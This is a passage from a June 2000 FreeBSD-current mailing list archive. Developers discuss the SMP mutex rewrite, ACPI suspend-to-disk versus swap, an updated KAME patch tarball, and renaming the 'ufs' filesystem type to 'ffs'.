5.0 where the compatibility shim is removed. Before getting too :excited about this part of the conversion to a threaded kernel, please keep :in mind that 1) there will be plenty of time to do this conversion, 2) the :conversion is pretty trivial for most drivers, and 3) as we get to the :stage where the conversion becomes possible, there will be much more detail :about how to do the conversion, as well as the working examples of the :first drivers to be converted. I believe I found a way to isolate the legacy spl*() stuff without too much interference with the overall design plan (see my document), but I will be the second to say that the legacy stuff is ALL going to be ripped out for the 5.0 release. I would ask that people not commit major changes to the -current sys tree until after we lay down the tags and get the new MP core in place. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 17:35:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from mass.osd.bsdi.com (adsl-63-206-88-224.dsl.snfc21.pacbell.net [63.206.88.224]) by hub.freebsd.org (Postfix) with ESMTP id 076A537B708; Mon, 19 Jun 2000 17:35:43 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Received: from mass.osd.bsdi.com (localhost [127.0.0.1]) by mass.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id RAA10386; Mon, 19 Jun 2000 17:40:30 -0700 (PDT) (envelope-from msmith@mass.osd.bsdi.com) Message-Id: <200006200040.RAA10386@mass.osd.bsdi.com> X-Mailer: exmh version 2.1.1 10/15/1999 To: "Andrew Reilly" Cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report In-reply-to: Your message of "Tue, 20 Jun 2000 10:16:08 +1000." <20000620101608.A38965@gurney.reilly.home> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 19 Jun 2000 17:40:30 -0700 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Mon, Jun 19, 2000 at 05:01:46PM -0600, Warner Losh wrote: > > In message <20000620085531.A38839@gurney.reilly.home> "Andrew Reilly" writes: > > : That sounds way too hard. Why not restrict suspend activity to > > : user-level processes and bring the kernel/drivers back up through > > : a regular boot process? At least that way the hardware and drivers > > : will know what they are all up to, even if some of it has changed > > : in the mean time. > > > > Takes too long... That's shutdown, not S4. > > Yes. But what is the difference, really? As far as the > hardware is concerned, it's being booted. If that process can > be sped up by using the "S4" mechanisms, why can't they be > applied to a regular boot process too? [I'm thinking about a > kernel equivelant of the "clean shutdown" flag on file systems.] > > Fundamentally, is there no way to get the kernel and drivers to > go through a full boot phase in a small fraction of the time > that it takes to repopulate 64M of RAM from disk? (*) The real issue here is persistent system state across the S4 suspend; ie. leaving applications open, etc. IMO this isn't really something worth a lot of effort to us, and it has a lot of additional complications for a "server-class" operating system in that you have to worry about network connections from other systems, not just _to_ other systems. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 17:39: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from orion.ac.hmc.edu (Orion.AC.HMC.Edu [134.173.32.20]) by hub.freebsd.org (Postfix) with ESMTP id 7D71537B6C7; Mon, 19 Jun 2000 17:38:59 -0700 (PDT) (envelope-from brdavis@orion.ac.hmc.edu) Received: (from brdavis@localhost) by orion.ac.hmc.edu (8.8.8/8.8.8) id RAA05839; Mon, 19 Jun 2000 17:30:55 -0700 (PDT) Date: Mon, 19 Jun 2000 17:30:55 -0700 From: Brooks Davis To: Andrew Reilly Cc: Warner Losh , Poul-Henning Kamp , Mitsuru IWASAKI , bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report Message-ID: <20000619173055.A16200@orion.ac.hmc.edu> References: <20000620085531.A38839@gurney.reilly.home> <200006191630.KAA60652@harmony.village.org> <45525.961432574@critter.freebsd.dk> <20000620085531.A38839@gurney.reilly.home> <200006192301.RAA63461@harmony.village.org> <20000620101608.A38965@gurney.reilly.home> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre4i In-Reply-To: <20000620101608.A38965@gurney.reilly.home>; from areilly@nsw.bigpond.net.au on Tue, Jun 20, 2000 at 10:16:08AM +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jun 20, 2000 at 10:16:08AM +1000, Andrew Reilly wrote: > > (*) Speaking of which: why are we considering doing process > dumps into a _different_ swap-ish partition, instead of just > ensuring that all processes are sleeping in the normal swap > partition? If that was done, then they would just page > themselves back in as needed, on wake-up. Because swap doesn't work that way anymore. They days where every page of memory had to be backed by disk are long gone. This means that there may not be anywere to put processes which are in memory unless you allocate somewhere to save all (or practicaly all) of memory. In any case, I haven't seen many laptops capable of using more then 256MB of RAM which isn't exactly much of a modern disk. My laptop has 256MB of RAM and ships with up to a 10GB disk. I've retrofitted it with a non-standard 18GB disk because 10GB looked too small for my needs. Even with the 6.4GB disk it shipped with, the suspend to disk partition is only 4% of my disk. -- Brooks -- Any statement of the form "X is the one, true Y" is FALSE. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 17:49:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from sr14.nsw-remote.bigpond.net.au (sr14.nsw-remote.bigpond.net.au [24.192.3.29]) by hub.freebsd.org (Postfix) with ESMTP id AB50937B909 for ; Mon, 19 Jun 2000 17:49:32 -0700 (PDT) (envelope-from areilly@nsw.bigpond.net.au) Received: from areilly.bpc-users.org (CPE-144-132-171-71.nsw.bigpond.net.au [144.132.171.71]) by sr14.nsw-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with SMTP id KAA02537 for ; Tue, 20 Jun 2000 10:49:26 +1000 (EST) Received: (qmail 53756 invoked by uid 1000); 20 Jun 2000 00:49:24 -0000 From: "Andrew Reilly" Date: Tue, 20 Jun 2000 10:49:24 +1000 To: Brooks Davis Cc: Andrew Reilly , Warner Losh , Poul-Henning Kamp , Mitsuru IWASAKI , bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report Message-ID: <20000620104924.A52825@gurney.reilly.home> References: <20000620085531.A38839@gurney.reilly.home> <200006191630.KAA60652@harmony.village.org> <45525.961432574@critter.freebsd.dk> <20000620085531.A38839@gurney.reilly.home> <200006192301.RAA63461@harmony.village.org> <20000620101608.A38965@gurney.reilly.home> <20000619173055.A16200@orion.ac.hmc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000619173055.A16200@orion.ac.hmc.edu>; from brooks@one-eyed-alien.net on Mon, Jun 19, 2000 at 05:30:55PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 05:30:55PM -0700, Brooks Davis wrote: > On Tue, Jun 20, 2000 at 10:16:08AM +1000, Andrew Reilly wrote: > > (*) Speaking of which: why are we considering doing process > > dumps into a _different_ swap-ish partition, instead of just > > ensuring that all processes are sleeping in the normal swap > > partition? If that was done, then they would just page > > themselves back in as needed, on wake-up. > > Because swap doesn't work that way anymore. They days where every page of > memory had to be backed by disk are long gone. This means that there may > not be anywere to put processes which are in memory unless you allocate > somewhere to save all (or practicaly all) of memory. But to do the proposed state save to disk, there _must_ be enough disk space to back all of the process pages. > In any case, I > haven't seen many laptops capable of using more then 256MB of RAM which > isn't exactly much of a modern disk. My laptop has 256MB of RAM and > ships with up to a 10GB disk. I've retrofitted it with a non-standard > 18GB disk because 10GB looked too small for my needs. Even with the 6.4GB > disk it shipped with, the suspend to disk partition is only 4% of my disk. The issue isn't with the size of the disk storage required, but with the mechanism. Why dedicate 256M to a suspend partition, and invent a new process saving mechanism, instead of making your existing swap partition 256M larger and using the existing swap pager? Processes do still wind up in "sleep" state, completely paged out, don't they? -- Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 18: 1:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by hub.freebsd.org (Postfix) with SMTP id 89D0637B76C for ; Mon, 19 Jun 2000 18:01:34 -0700 (PDT) (envelope-from jasone@magnesium.net) Received: (qmail 46460 invoked by uid 1142); 20 Jun 2000 01:01:33 -0000 Date: 19 Jun 2000 18:01:33 -0700 Date: Mon, 19 Jun 2000 18:01:14 -0700 From: Jason Evans To: Matthew Dillon Cc: current@FreeBSD.ORG Subject: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) Message-ID: <20000619180113.G79318@blitz.canonware.com> References: <20000619115330.D79318@blitz.canonware.com> <200006200034.RAA81825@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200006200034.RAA81825@apollo.backplane.com>; from dillon@apollo.backplane.com on Mon, Jun 19, 2000 at 05:34:47PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 05:34:47PM -0700, Matthew Dillon wrote: > Ok, I have put up a web page that will track my efforts. > > http://apollo.backplane.com/FreeBSDSmp/ On this page, you say: The algorithms described on this page are essentially the BSDI algorithms plus accomodations we disussed at the Yahoo SMP meeting. However, I did not do a direct port. I did a from-scratch rewrite because, simply put, it was easier for me. The variables are named differently but I attempt to follow the same API. All the work is subject to change... the point is to make it work first, then clean it up later. Does this include the locking primitives? In the case of the locking primitives, there is functionality that we definitely need, such as the witness code, and it probably would save effort to use the BSD/OS code. I'm guessing that you are actually using the BSD/OS code in this case; I'm just looking for clarification. Thanks, Jason To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 18: 2:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from sr14.nsw-remote.bigpond.net.au (sr14.nsw-remote.bigpond.net.au [24.192.3.29]) by hub.freebsd.org (Postfix) with ESMTP id C973437B76C for ; Mon, 19 Jun 2000 18:02:38 -0700 (PDT) (envelope-from areilly@nsw.bigpond.net.au) Received: from areilly.bpc-users.org (CPE-144-132-171-71.nsw.bigpond.net.au [144.132.171.71]) by sr14.nsw-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with SMTP id LAA04362 for ; Tue, 20 Jun 2000 11:02:33 +1000 (EST) Received: (qmail 55498 invoked by uid 1000); 20 Jun 2000 01:02:32 -0000 From: "Andrew Reilly" Date: Tue, 20 Jun 2000 11:02:32 +1000 To: Mike Smith Cc: Andrew Reilly , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report Message-ID: <20000620110232.B52825@gurney.reilly.home> References: <20000620101608.A38965@gurney.reilly.home> <200006200040.RAA10386@mass.osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006200040.RAA10386@mass.osd.bsdi.com>; from msmith@FreeBSD.ORG on Mon, Jun 19, 2000 at 05:40:30PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 05:40:30PM -0700, Mike Smith wrote: > The real issue here is persistent system state across the S4 suspend; ie. > leaving applications open, etc. IMO this isn't really something worth a > lot of effort to us, and it has a lot of additional complications for a > "server-class" operating system in that you have to worry about network > connections from other systems, not just _to_ other systems. Don't the normal TCP timeouts take care of existing connections? I doubt that a "server class" system will be going into suspend mode for any reason, but I would imagine that suspend/resume should look much like network outage for the clients of suspended servers. For the only place that I can see it mattering (laptops), I suspect that suspend/resume should be an X session manager and application level job, and the kernel should just shutdown and boot as normal. I know that there aren't too many X applications that do all of the session management things, but maybe that would change if suspend actions interacted with the popular desktops in the appropriate way. -- Andrew To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 18: 7:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from orion.ac.hmc.edu (Orion.AC.HMC.Edu [134.173.32.20]) by hub.freebsd.org (Postfix) with ESMTP id DCE1237B8E5; Mon, 19 Jun 2000 18:07:03 -0700 (PDT) (envelope-from brdavis@orion.ac.hmc.edu) Received: (from brdavis@localhost) by orion.ac.hmc.edu (8.8.8/8.8.8) id SAA20250; Mon, 19 Jun 2000 18:00:03 -0700 (PDT) Date: Mon, 19 Jun 2000 18:00:03 -0700 From: Brooks Davis To: Andrew Reilly Cc: Brooks Davis , Warner Losh , Poul-Henning Kamp , Mitsuru IWASAKI , bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report Message-ID: <20000619180003.A15754@orion.ac.hmc.edu> References: <20000620085531.A38839@gurney.reilly.home> <200006191630.KAA60652@harmony.village.org> <45525.961432574@critter.freebsd.dk> <20000620085531.A38839@gurney.reilly.home> <200006192301.RAA63461@harmony.village.org> <20000620101608.A38965@gurney.reilly.home> <20000619173055.A16200@orion.ac.hmc.edu> <20000620104924.A52825@gurney.reilly.home> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre4i In-Reply-To: <20000620104924.A52825@gurney.reilly.home>; from areilly@nsw.bigpond.net.au on Tue, Jun 20, 2000 at 10:49:24AM +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jun 20, 2000 at 10:49:24AM +1000, Andrew Reilly wrote: > The issue isn't with the size of the disk storage required, but > with the mechanism. Why dedicate 256M to a suspend partition, and > invent a new process saving mechanism, instead of making your > existing swap partition 256M larger and using the existing swap > pager? Because our swapper doesn't work that way. Generally speaking, swappers don't work that way anymore. Systems that suspend to disk are a corner case for FreeBSD. > Processes do still wind up in "sleep" state, completely paged > out, don't they? Observationaly, no. Unless I actually manage to run my system low on RAM, none of my swap is used even with ~5MB Eterm processes sitting unused for days. I suppose if I let memory get tight, they might get ditched in favor of disk cache, but I haven't seen that happen. Someone with a better grasp of the VM could give a more preciese answer. -- Brooks -- Any statement of the form "X is the one, true Y" is FALSE. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 18:12:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id EACBC37B636 for ; Mon, 19 Jun 2000 18:12:41 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id SAA82090; Mon, 19 Jun 2000 18:12:40 -0700 (PDT) (envelope-from dillon) Date: Mon, 19 Jun 2000 18:12:40 -0700 (PDT) From: Matthew Dillon Message-Id: <200006200112.SAA82090@apollo.backplane.com> To: Jason Evans Cc: current@FreeBSD.ORG Subject: Re: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) References: <20000619115330.D79318@blitz.canonware.com> <200006200034.RAA81825@apollo.backplane.com> <20000619180113.G79318@blitz.canonware.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :On this page, you say: : : The algorithms described on this page are essentially the BSDI algorithms : plus accomodations we disussed at the Yahoo SMP meeting. However, I did : not do a direct port. I did a from-scratch rewrite because, simply put, : it was easier for me. The variables are named differently but I attempt : to follow the same API. All the work is subject to change... the point is : to make it work first, then clean it up later. : :Does this include the locking primitives? In the case of the locking :primitives, there is functionality that we definitely need, such as the :witness code, and it probably would save effort to use the BSD/OS code. :I'm guessing that you are actually using the BSD/OS code in this case; I'm :just looking for clarification. : :Thanks, :Jason The API is very similar, and when I clean it up it should be possible to make it exactly the same, but SPL/CPL/INTERRUPT considerations make using the BSDI code verbatim impossible. Basically I rewrote the core mutex code but I used *everything* that was discussed at the meeting in the implementation, so all the features that we need are there. Spin locks, blocking locks, Giant lock save/restore integrated into the scheduler, quick-attempt in an inline then a call to a real procedure if it fails, using the low 2 bits of the mutex lock field to implement a 'held' bit and a 'contested' bit (which works really wonderfully, I might add! I would never have thought of doing things that way myself!). I am trying to keep it close enough that we can add the witness code in, but before I do that I want to get the system semi-stable. In some respects it's actually easier for us with FreeBSD because we are keeping the spl*() system intact for a while. The witness code is going to be critical for the unwinding work (moving things out of the Giant mutex and into their own mutexes). It isn't critical for this first stage which basically just puts everything under the Giant lock and doesn't *have* any other mutexes beyond SchedMutex and GiantMutex. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 18:26:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 295EC37B636; Mon, 19 Jun 2000 18:26:16 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id SAA81229; Mon, 19 Jun 2000 18:26:16 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Mon, 19 Jun 2000 18:26:15 -0700 (PDT) From: Kris Kennaway To: current@Freebsd.org Cc: Mark Huizer Subject: Updated kame tarball (oops) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I accidentally left out a bunch of files from my previous kame patch - the corrected version is at http://www.freebsd.org/~kris/kame.tar.gz - the same caveats apply as before. Extract that tarball in /usr/src/sys and apply the patch, then rebuild. The userland can be obtained from the latest freebsd4 KAME snapshot at ftp.kame.net (the code in the FreeBSD tree won't work). Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 18:54:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from happy.checkpoint.com (happy.checkpoint.com [199.203.156.41]) by hub.freebsd.org (Postfix) with ESMTP id AF04737B9AF; Mon, 19 Jun 2000 18:54:32 -0700 (PDT) (envelope-from mellon@pobox.com) Received: (from mellon@localhost) by happy.checkpoint.com (8.9.3/8.9.3) id EAA09098; Tue, 20 Jun 2000 04:56:24 +0300 (IDT) (envelope-from mellon@pobox.com) Date: Tue, 20 Jun 2000 04:56:24 +0300 From: Anatoly Vorobey To: Adrian Chadd Cc: freebsd-current@FreeBSD.ORG Subject: Re: fsck wrappers Message-ID: <20000620045623.A9045@happy.checkpoint.com> References: <20000619134233.O13112@zoe.bastard.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20000619134233.O13112@zoe.bastard.co.uk>; from adrian@FreeBSD.ORG on Mon, Jun 19, 2000 at 01:42:33PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 01:42:33PM +0200, Adrian Chadd wrote: > > * the rest of the system treats ffs filesystems as "ufs". Besides the > fact that I dislike this, I decided against the NetBSD way of Isn't it time, anyway, to fix this? This legacy dates from long time ago; e.g. the log message in the kernel code which declares the ffs module (it reads: `` Call ffs ``ufs'' for the benefit of poor, confused user-land programs. '') dates to September '94. Are there any arguments against changing the filesystem type name to 'ffs' in the kernel and in the userland? If not, I'll volunteer to find all kernel/userland uses I can and provide a diff. -- Anatoly Vorobey, mellon@pobox.com http://pobox.com/~mellon/ "Angels can fly because they take themselves lightly" - G.K.Chesterton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 19: 5:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from happy.checkpoint.com (happy.checkpoint.com [199.203.156.41]) by hub.freebsd.org (Postfix) with ESMTP id 57C0837B986; Mon, 19 Jun 2000 19:05:44 -0700 (PDT) (envelope-from mellon@pobox.com) Received: (from mellon@localhost) by happy.checkpoint.com (8.9.3/8.9.3) id FAA09250; Tue, 20 Jun 2000 05:06:58 +0300 (IDT) (envelope-from mellon@pobox.com) Date: Tue, 20 Jun 2000 05:06:57 +0300 From: Anatoly Vorobey To: Brian Hechinger Cc: Adrian Chadd , freebsd-current@FreeBSD.ORG Subject: Re: fsck wrappers Message-ID: <20000620050656.A9224@happy.checkpoint.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from BHechinger@half.com on Mon, Jun 19, 2000 at 09:59:15PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jun 19, 2000 at 09:59:15PM -0400, Brian Hechinger wrote: > but isn't there wisdom in implementing the wrapper as well? we won't be > using ffs forever (log based file system please!! *G*) Sure there is, I'm all for the wrapper. I just want "ufs is really ffs" to go away as well, and am using the opportunity that the issue surfaced up. I think the wrapper is a great idea, and reporting the mountpoint etc., asked about in a separate message, is great as well. -- Anatoly Vorobey, mellon@pobox.com http://pobox.com/~mellon/ "Angels can fly because they take themselves lightly" - G.K.Chesterton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 20: 3:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.enteract.com (mail.enteract.com [207.229.143.33]) by hub.freebsd.org (Postfix) with ESMTP id E05C537B56B; Mon, 19 Jun 2000 20:03:42 -0700 (PDT) (envelope-from dscheidt@enteract.com) Received: from shell-1.enteract.com (dscheidt@shell-1.enteract.com [207.229.143.40]) by mail.enteract.com (8.9.3/8.9.3) with SMTP id WAA91828; Mon, 19 Jun 2000 22:01:20 -0500 (CDT) (envelope-from dscheidt@enteract.com) Date: Mon, 19 Jun 2000 22:01:20 -0500 (CDT) From: David Scheidt To: Brooks Davis Cc: Andrew Reilly , Warner Losh , Poul-Henning Kamp , Mitsuru IWASAKI , bfischer@Techfak.Uni-Bielefeld.DE, acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report In-Reply-To: <20000619180003.A15754@orion.ac.hmc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 19 Jun 2000, Brooks Davis wrote: :On Tue, Jun 20, 2000 at 10:49:24AM +1000, Andrew Reilly wrote: : :> Processes do still wind up in "sleep" state, completely paged :> out, don't they? : :Observationaly, no. Unless I actually manage to run my system low on :RAM, none of my swap is used even with ~5MB Eterm processes sitting :unused for days. I suppose if I let memory get tight, they might get :ditched in favor of disk cache, but I haven't seen that happen. Someone :with a better grasp of the VM could give a more preciese answer. I find lots my xterms getting swapped out on my office desktop. It's only (!) got 128MB of RAM, and I routinely have two or three dozen xterms running locally, plus a like number from remote machines, plus an instance of the X server and Netscape. It only takes a couple seconds to swap in one of the xterms when I start to use it again, and I often don't notice, because I have to move my hand from the mouse back to hte keyboard. I'm probably not a typical user, of course. David scheidt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 19 21:45:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from cia.com.au (mail.cia.net.au [203.17.36.17]) by hub.freebsd.org (Postfix) with SMTP id 01E6E37BAA4 for ; Mon, 19 Jun 2000 21:45:42 -0700 (PDT) (envelope-from A.ReillyAtLake@lake.com.au) Received: (qmail 21300 invoked from network); 20 Jun 2000 04:45:39 -0000 Received: from unknown (HELO nexus6.lake.com.au) (210.8.75.6) by cia.com.au with SMTP; 20 Jun 2000 04:45:39 -0000 Received: from SMTP agent by mail gateway Tue, 20 Jun 2000 14:51:42 --1000 Received: by NEXUS6 with Internet Mail Service (5.5.2650.21) id ; Tue, 20 Jun 2000 14:45:07 +1000 Message-ID: From: Andrew ReillyAtLake Reply-To: Andrew Reilly To: Mike Smith Cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Process migration (was RE: ACPI project progress report) Date: Tue, 20 Jun 2000 14:45:01 +1000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Mon, Jun 19, 2000 at 05:40:30PM -0700, Mike Smith wrote: > > The real issue here is persistent system state across the S4 suspend; ie. > > leaving applications open, etc. IMO this isn't really something worth a > > lot of effort to us, and it has a lot of additional complications for a > > "server-class" operating system in that you have to worry about network > > connections from other systems, not just _to_ other systems. I was thinking about this a little more this afternoon, and it occurred to me that the system state management services that one would like for smooth "suspend" operation on laptops are very nearly the same as the process checkpointing services that one requires for process migration in a cluster environment. That sounds like a "server-class" application for this stuff. I know of at least one research project involving process migration in a cluster (at U Sydney, I think) using FreeBSD. Hey: wouldn't it be cool if, when you manually suspended your laptop, the processes waiting for user input would be suspended to disk, but the CPU-bound one running a simulation would migrate to your main compute server. It might even be finished the next time you logged in... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 0:28: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from blizzard.sabbo.net (blizzard.sabbo.net [193.193.218.18]) by hub.freebsd.org (Postfix) with ESMTP id 702B237BC41; Tue, 20 Jun 2000 00:27:54 -0700 (PDT) (envelope-from sobomax@FreeBSD.org) Received: from vic.sabbo.net (vic.sabbo.net [193.193.218.106]) by blizzard.sabbo.net (8.9.1/8.9.3) with ESMTP id KAA02630; Tue, 20 Jun 2000 10:26:35 +0300 (EEST) Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vic.sabbo.net (8.9.3/8.9.3) with ESMTP id KAA03765; Tue, 20 Jun 2000 10:27:16 +0300 (EEST) (envelope-from sobomax@FreeBSD.org) Message-ID: <394F1CCC.45B8A2C3@FreeBSD.org> Date: Tue, 20 Jun 2000 10:27:08 +0300 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.73 [en] (WinNT; I) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: Mike Smith Cc: Andrew Reilly , freebsd-current@FreeBSD.org, freebsd-hackers@FreeBSD.org Subject: Re: ACPI project progress report References: <200006200040.RAA10386@mass.osd.bsdi.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mike Smith wrote: > > On Mon, Jun 19, 2000 at 05:01:46PM -0600, Warner Losh wrote: > > > In message <20000620085531.A38839@gurney.reilly.home> "Andrew Reilly" writes: > > > : That sounds way too hard. Why not restrict suspend activity to > > > : user-level processes and bring the kernel/drivers back up through > > > : a regular boot process? At least that way the hardware and drivers > > > : will know what they are all up to, even if some of it has changed > > > : in the mean time. > > > > > > Takes too long... That's shutdown, not S4. > > > > Yes. But what is the difference, really? As far as the > > hardware is concerned, it's being booted. If that process can > > be sped up by using the "S4" mechanisms, why can't they be > > applied to a regular boot process too? [I'm thinking about a > > kernel equivelant of the "clean shutdown" flag on file systems.] > > > > Fundamentally, is there no way to get the kernel and drivers to > > go through a full boot phase in a small fraction of the time > > that it takes to repopulate 64M of RAM from disk? (*) > > The real issue here is persistent system state across the S4 suspend; ie. > leaving applications open, etc. IMO this isn't really something worth a > lot of effort to us, and it has a lot of additional complications for a > "server-class" operating system in that you have to worry about network > connections from other systems, not just _to_ other systems. Why then brand commercial vendors have such capability in their "server-class" operating system for a long time? Particularly HP's PA-RISC servers does have it, at least I remember such feature in the old 30MHz systems which I managed several years ago (the systems was shipped with small internal battery, which in the case of power failure was used to dump system to the disk). -Maxim. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 0:40:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 486AA37BAEA; Tue, 20 Jun 2000 00:40:06 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id JAA51003; Tue, 20 Jun 2000 09:39:49 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Anatoly Vorobey Cc: Adrian Chadd , freebsd-current@FreeBSD.ORG Subject: Re: fsck wrappers In-reply-to: Your message of "Tue, 20 Jun 2000 04:56:24 +0300." <20000620045623.A9045@happy.checkpoint.com> Date: Tue, 20 Jun 2000 09:39:49 +0200 Message-ID: <51001.961486789@critter.freebsd.dk> From: 